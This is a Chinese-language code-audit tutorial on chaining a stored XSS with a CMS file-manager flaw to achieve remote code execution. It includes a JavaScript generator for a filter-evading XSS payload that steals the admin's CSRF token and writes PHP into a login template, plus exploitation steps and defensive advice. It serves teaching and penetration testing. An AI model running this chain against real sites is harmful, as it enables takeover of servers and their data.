记一次代码审计中RCE挖掘及POC编写。
字数 1295 2025-08-20 18:17:59

代码审计中的RCE漏洞挖掘与POC编写实战教学

漏洞背景与发现

本次审计目标是一个CMS系统,其模板引入方式存在安全隐患。系统直接使用include包含.htm模板文件,而不是将PHP处理后的数据放入模板中。这种设计为后续的远程代码执行(RCE)漏洞埋下了隐患。

核心漏洞分析

1. 文件管理模块漏洞

漏洞位于src/admin/file_manage_control.php文件,该文件负责处理文件操作,但防护策略存在缺陷:

路径处理漏洞 ($activepath)

  • 代码仅规范化路径,防止目录遍历(..)
  • 未限制同一目录下的文件夹名访问
  • 关键防御代码(15-17行)过于简单

文件名处理漏洞 ($filename)

  • 代码(44-48行)过滤了危险扩展名:php|pl|cgi|asp|aspx|jsp|php5|php4|php3|shtm|shtml
  • .htm扩展名未被过滤
  • 仅检查文件名中的..,无其他严格限制

2. 模板包含机制漏洞

系统使用危险的方式包含模板文件:

include XXInclude('templets/catalog_add.htm');

这种设计允许:

  1. 将PHP代码写入.htm文件
  2. 当该文件被include时,PHP代码会被执行

漏洞利用链构建

初始利用限制

  • 仅后台管理员可访问/admin路由
  • 仅管理员有文件修改权限

权限绕过方案

方案1: 利用登录页面

  • /admin/login.php无需权限即可访问
  • 可将恶意代码写入/admin/login.htm

方案2: 组合其他漏洞提升权限

  1. SQL注入

    • src/admin/article_edit.php中发现疑似SQL注入点(148行)
    • 查询语句未使用参数化:
    $query = "UPDATE `#@__archives` SET typeid='$typeid',... WHERE id='$id';";
    
    • 但系统有CheckSql过滤机制,可能需要特殊绕过技巧
  2. 存储型XSS

    • 参数未做XSS过滤
    • 可在文档中插入XSS payload
    • 管理员审核时触发XSS,自动写入shell

完整利用链POC

XSS Payload生成器

// 将此脚本放在浏览器控制台执行即可获得payload
var codeString = "// 获取URL\n" +
    "var url = document.URL;\n" +
    "var domainMatch = url.match(/^(https?:\\/\\/[^/]+)/);\n" +
    "var domain = domainMatch[1];\n" +
    "\n" +
    "// 获取Cookie\n" +
    "var cookieString = document.cookie;\n" +
    "\n" +
    "// 创建一个新的 form 元素\n" +
    "var form = document.createElement(\"form\");\n" +
    "\n" +
    "// 设置 form 的属性\n" +
    "form.setAttribute(\"method\", \"POST\");\n" +
    "form.setAttribute(\"action\", domain+\"/admin/file_manage_control.php\");\n" +
    "\n" +
    "// 使用正则表达式匹配 dede_csrf_token 的值\n" +
    "var csrfTokenMatch = cookieString.match(/dede_csrf_token=([^;]+)/);\n" +
    "\n" +
    "// 提取匹配到的值\n" +
    "var csrfTokenValue = csrfTokenMatch[1]; // 提取匹配到的值\n" +
    "\n" +
    "// 创建并设置隐藏字段\n" +
    "var fields = [\n" +
    "  { name: \"fmdo\", value: \"edit\" },\n" +
    "  { name: \"backurl\", value: \"\" },\n" +
    "  { name: \"_csrf_token\", value: csrfTokenValue },\n" +
    "  { name: \"activepath\", value: \"/admin/templets\" },\n" +
    "  { name: \"filename\", value: \"login.htm\" },\n" +
    "  { name: \"str\", value: \"1<?php phpinfo();?>\" },\n" +
    "  { name: \"B1\", value: \"\" }\n" +
    "];\n" +
    "\n" +
    "// 遍历字段数组并创建相应的 input 元素\n" +
    "fields.forEach(function (field) {\n" +
    "  var input = document.createElement(\"input\");\n" +
    "  input.setAttribute(\"type\", \"hidden\");\n" +
    "  input.setAttribute(\"name\", field.name);\n" +
    "  input.setAttribute(\"value\", field.value);\n" +
    "  form.appendChild(input);\n" +
    "});\n" +
    "\n" +
    "// 创建一个提交按钮并添加到 form 中\n" +
    "var submitButton = document.createElement(\"input\");\n" +
    "submitButton.setAttribute(\"type\", \"submit\");\n" +
    "submitButton.setAttribute(\"value\", \"Submit request\");\n" +
    "form.appendChild(submitButton);\n" +
    "\n" +
    "// 将 form 添加到文档中并自动提交\n" +
    "document.body.appendChild(form);\n" +
    "form.submit();";

// 转换为ASCII码形式以绕过简单过滤
var asciiArray = [];
for (var i = 0; i < codeString.length; i++) {
    asciiArray.push(codeString.charCodeAt(i));
}
var asciiString = asciiArray.join(',');
console.log('')

利用步骤

  1. 攻击者利用普通用户权限在文档中插入XSS payload
  2. 管理员审核文档时触发XSS
  3. XSS自动向/admin/file_manage_control.php发送POST请求
  4. 将PHP代码写入/admin/templets/login.htm
  5. 访问http://target/admin/login.php执行代码

防御建议

  1. 模板包含机制

    • 避免直接包含用户可控的模板文件
    • 使用模板引擎或严格的过滤机制
  2. 文件管理模块

    • 实施更严格的文件扩展名过滤
    • 增加文件内容安全检查
    • 限制可编辑的文件路径范围
  3. 输入验证

    • 对所有用户输入实施严格的过滤
    • 对SQL查询使用参数化查询
    • 对所有输出进行HTML编码
  4. 权限控制

    • 实施最小权限原则
    • 关键操作需要二次验证

总结

本案例展示了如何通过代码审计发现RCE漏洞,并构建完整的利用链。关键点包括:

  1. 识别危险的模板包含机制
  2. 分析文件管理模块的过滤缺陷
  3. 结合XSS绕过权限限制
  4. 编写自动化攻击的POC

这种漏洞组合在实际渗透测试中很常见,理解其原理有助于开发更安全的系统和进行更有效的安全测试。

代码审计中的RCE漏洞挖掘与POC编写实战教学 漏洞背景与发现 本次审计目标是一个CMS系统,其模板引入方式存在安全隐患。系统直接使用 include 包含 .htm 模板文件,而不是将PHP处理后的数据放入模板中。这种设计为后续的远程代码执行(RCE)漏洞埋下了隐患。 核心漏洞分析 1. 文件管理模块漏洞 漏洞位于 src/admin/file_manage_control.php 文件,该文件负责处理文件操作,但防护策略存在缺陷: 路径处理漏洞 ($activepath) 代码仅规范化路径,防止目录遍历( .. ) 未限制同一目录下的文件夹名访问 关键防御代码(15-17行)过于简单 文件名处理漏洞 ($filename) 代码(44-48行)过滤了危险扩展名: php|pl|cgi|asp|aspx|jsp|php5|php4|php3|shtm|shtml 但 .htm 扩展名未被过滤 仅检查文件名中的 .. ,无其他严格限制 2. 模板包含机制漏洞 系统使用危险的方式包含模板文件: 这种设计允许: 将PHP代码写入 .htm 文件 当该文件被 include 时,PHP代码会被执行 漏洞利用链构建 初始利用限制 仅后台管理员可访问 /admin 路由 仅管理员有文件修改权限 权限绕过方案 方案1: 利用登录页面 /admin/login.php 无需权限即可访问 可将恶意代码写入 /admin/login.htm 方案2: 组合其他漏洞提升权限 SQL注入 : 在 src/admin/article_edit.php 中发现疑似SQL注入点(148行) 查询语句未使用参数化: 但系统有 CheckSql 过滤机制,可能需要特殊绕过技巧 存储型XSS : 参数未做XSS过滤 可在文档中插入XSS payload 管理员审核时触发XSS,自动写入shell 完整利用链POC XSS Payload生成器 利用步骤 攻击者利用普通用户权限在文档中插入XSS payload 管理员审核文档时触发XSS XSS自动向 /admin/file_manage_control.php 发送POST请求 将PHP代码写入 /admin/templets/login.htm 访问 http://target/admin/login.php 执行代码 防御建议 模板包含机制 : 避免直接包含用户可控的模板文件 使用模板引擎或严格的过滤机制 文件管理模块 : 实施更严格的文件扩展名过滤 增加文件内容安全检查 限制可编辑的文件路径范围 输入验证 : 对所有用户输入实施严格的过滤 对SQL查询使用参数化查询 对所有输出进行HTML编码 权限控制 : 实施最小权限原则 关键操作需要二次验证 总结 本案例展示了如何通过代码审计发现RCE漏洞,并构建完整的利用链。关键点包括: 识别危险的模板包含机制 分析文件管理模块的过滤缺陷 结合XSS绕过权限限制 编写自动化攻击的POC 这种漏洞组合在实际渗透测试中很常见,理解其原理有助于开发更安全的系统和进行更有效的安全测试。